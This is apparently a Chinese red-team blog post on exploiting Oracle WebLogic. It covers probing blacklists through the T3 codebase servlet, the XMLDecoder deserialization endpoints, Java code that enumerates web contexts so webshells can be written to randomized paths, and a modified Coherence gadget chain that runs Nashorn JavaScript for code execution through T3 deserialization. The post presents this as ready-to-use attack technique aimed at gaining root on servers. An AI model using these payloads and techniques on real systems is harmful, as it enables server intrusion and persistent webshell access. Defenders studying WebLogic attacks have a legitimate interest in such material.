簡介
weblogic服務器的特點為架構龐大復雜,藍隊一般很難防御,且多部署于外網。而且weblogic的攻擊成本比較低,只要存在漏洞,一般可以直接獲取目標服務器的root權限。在攻防演習中被各大攻擊隊,防守方重點關注。
當然,目前網上公開的各種exp程序,當然也包括我自己的工具,或多或少都有點問題。于是近期在朋友的要求下,整理了部分攻擊方法以及”完美“利用。紅隊可以用來完善自己的工具,藍隊可以用來寫溯源報告。
一、探測weblogic是否存在漏洞
目前網上公開的資料中,沒有一種比較好的方法去判斷weblogic是否存在漏洞。通常各類工具做法是用exp打一遍,如果成功了則自然存在漏洞,如果失敗了則不存在漏洞。再或者,通過dnslog的方式去探測。這兩種方法受限于各種因素,導致漏報誤報的比例很高。還有可能觸發蜜罐,waf等等安全設備的規則。
當然在這里我介紹一種更簡便的方式去查看是否存在漏洞,那就是利用T3 RMI的CODEBASE功能查看weblogic的黑名單 。
codebase: 簡單說,codebase就是遠程裝載類的路徑。當對象發送者序列化對象時,會在序列化流中附加上codebase的信息。 這個信息告訴接收方到什么地方尋找該對象的執行代碼。
那我們是不是可以發散一下思維,如果這個類是weblogic的黑名單類呢??而且weblogic的codebase利用http協議去傳輸類。
利用方法如下,使用你的瀏覽器,確認好對方是weblogic服務器后,url如下
T3反序列化的黑名單http://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class
xmldecoder 黑名單http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class
1.1 T3 codebase分析
在weblogic.rjvm.InternalWebAppListener#contextInitialized處代碼,注冊處理codebase的代碼,也就是請求路徑為classes
if(!server.isClasspathservletDisabled()) { servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"}); }
下面我們來看一下weblogic.servlet.ClasspathServlet的處理代碼,很簡單,就是讀取類名然后寫入到http響應中。
當然,這里是不是也存在任意文件讀取漏洞呢?答案是的,只不過有一個黑名單,禁止某些后綴的文件被讀取。黑名單列表如下
理論上講,你也可以通過CODEBASE去讀取用戶的類下載到本地做代碼分析。前提是你需要知道用戶的類名是什么。當然,也有黑名單,黑名單如下
二、weblogic xmldecoder反序列化漏洞
漏洞不做過多介紹,在這里不談該漏洞的成因原理以及分析。
漏洞探測的url
/wls-wsat/CoordinatorPortType
RegistrationPortTypeRPC
ParticipantPortType
RegistrationRequesterPortType
CoordinatorPortType11
RegistrationPortTypeRPC11
ParticipantPortType11
RegistrationRequesterPortType11
該漏洞利用的難點我認為有如下幾個方面
1.網上只有回顯代碼,沒有利用代碼,例如內存馬
2.寫馬的話,可能會遇到路徑的問題。wenlogic的路徑為隨機,目前網上公開的解決辦法是爆破。
3.怎么尋找所有的Context?
下面我們來一一解決,以weblogic 10.x的exp為例
xmldecoder的xml payload做了以下的工作
1.調用weblogic.utils.Hex.fromHexString函數,將hex編碼的class文件轉換為二進制格式
2.調用org.mozilla.classfile.DefiningClassLoader的defineClass方法,將上面的class文件加載到虛擬機中
3.調用newInstance方法生成上面被添加至JVM的類的實例
4.調用實例的方法以完成攻擊
payload其實你知道稍微看一下,就知道xmldecoder的寫法,這里就不再贅述
上面所有的問題,其實都可以歸結為一個問題,那就是怎么尋找weblogic下,所有web應用的上下文?
在這里我公開一個方法,該方法在weblogic 10/12下經過測試,且不受協議影響,也就是說,你只要能在weblogic里執行代碼,我就可以獲取weblogic所有的webcontext。 代碼如下
Java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne"); m.setAccessible(true); ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null); List<WebAppServletContext> list = new java.util.ArrayList(); StringBuilder sb = new StringBuilder(); for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) { java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children"); childrenF.setAccessible(true); java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime); java.util.Iterator iterator = set.iterator(); while(iterator.hasNext()) { Object key = iterator.next(); if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) { Field contextF = key.getClass().getDeclaredField("context"); contextF.setAccessible(true); WebAppServletContext context = (WebAppServletContext) contextF.get(key); list.add(context); } } } returnlist;
2.1 獲取隨機路徑
利用上面的代碼,獲取到weblogic 加載的所有的web context后,我們可以調用context.getRootTempDir().getAbsolutePath()方法去獲取目錄的位置,然后寫入webshell。
我的代碼如下
List<WebAppServletContext> contexts = findAllContext(); Iterator<WebAppServletContext> i = contexts.iterator(); StringBuilder sb = new StringBuilder(); while(i.hasNext()) { WebAppServletContext context = i.next(); sb.append(String.format("name %30sturl %30stDocroot %sn", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath())); } returnnew ByteArrayInputStream((sb.toString()).getBytes());
截圖如下
2.2 weblogic 12.x payload
weblogic 12.x 中,沒有org.mozilla.classfile.DefiningClassLoader這個類,況且我也不太喜歡這種不靈活的方式去寫exp。在這里我換一種方式,那就是通過java調用JS。
從 JDK 1.8 開始,Nashorn取代Rhino(JDK 1.6, JDK1.7) 成為 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ecmascript 5.1 規范以及一些擴展。它使用基于 JSR 292 的新語言特性,其中包含在 JDK 7 中引入的 invokedynamic,將 JavaScript 編譯成 Java 字節碼。
注意,不支持1.5以及1.5以下的JVM
在java執行js時,可以調用任意java對象,方法,類。需要注意的是,java是強類型語言,而js是弱類型語言,js有的時候可能會代碼意想不到的類型轉換。這里需要注意
只需要將上面加載context的代碼,改成js就可以,在這里我貼一張截圖
在nashorn中,默認最后一個變量作為調用本次js的返回值
三、weblogic T3反序列化
在這里我推薦一下r4v3zn老哥的weblogic-framework 利用工具, 。當然也有一點點bug,不過這是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework
漏洞探測的話,參考前面的黑名單下載方式
當然,T3反序列化中也有很多坑,例如 cve-2020-2555 等,無法做到類似于CC鏈的任意代碼執行,目前同行的大部分做法是上傳一個jar至tmp目錄或者通過urlclassloader去遠程加載jar包,部署惡意代碼。
但是我們依舊可以通過反序列化的鏈式執行,調用nashorn的方式,間接做到任意代碼執行。
而我們待執行的js,通過反射調用javaassist包去組裝一個ClusterMasterRemote類并綁定JNDI實例以作回顯。js代碼如下
image-20210329124530132
當然,corherence gadget處需要修改成如下
private static ChainedExtractor getChainedExtractor() { returnnew ChainedExtractor(new ReflectionExtractor[]{ new ReflectionExtractor( "newInstance", new Object[]{} ), new ReflectionExtractor( "getEngineByName", new Object[]{"nashorn"} ), new ReflectionExtractor( "eval", new Object[]{getJsCode()} ) }); }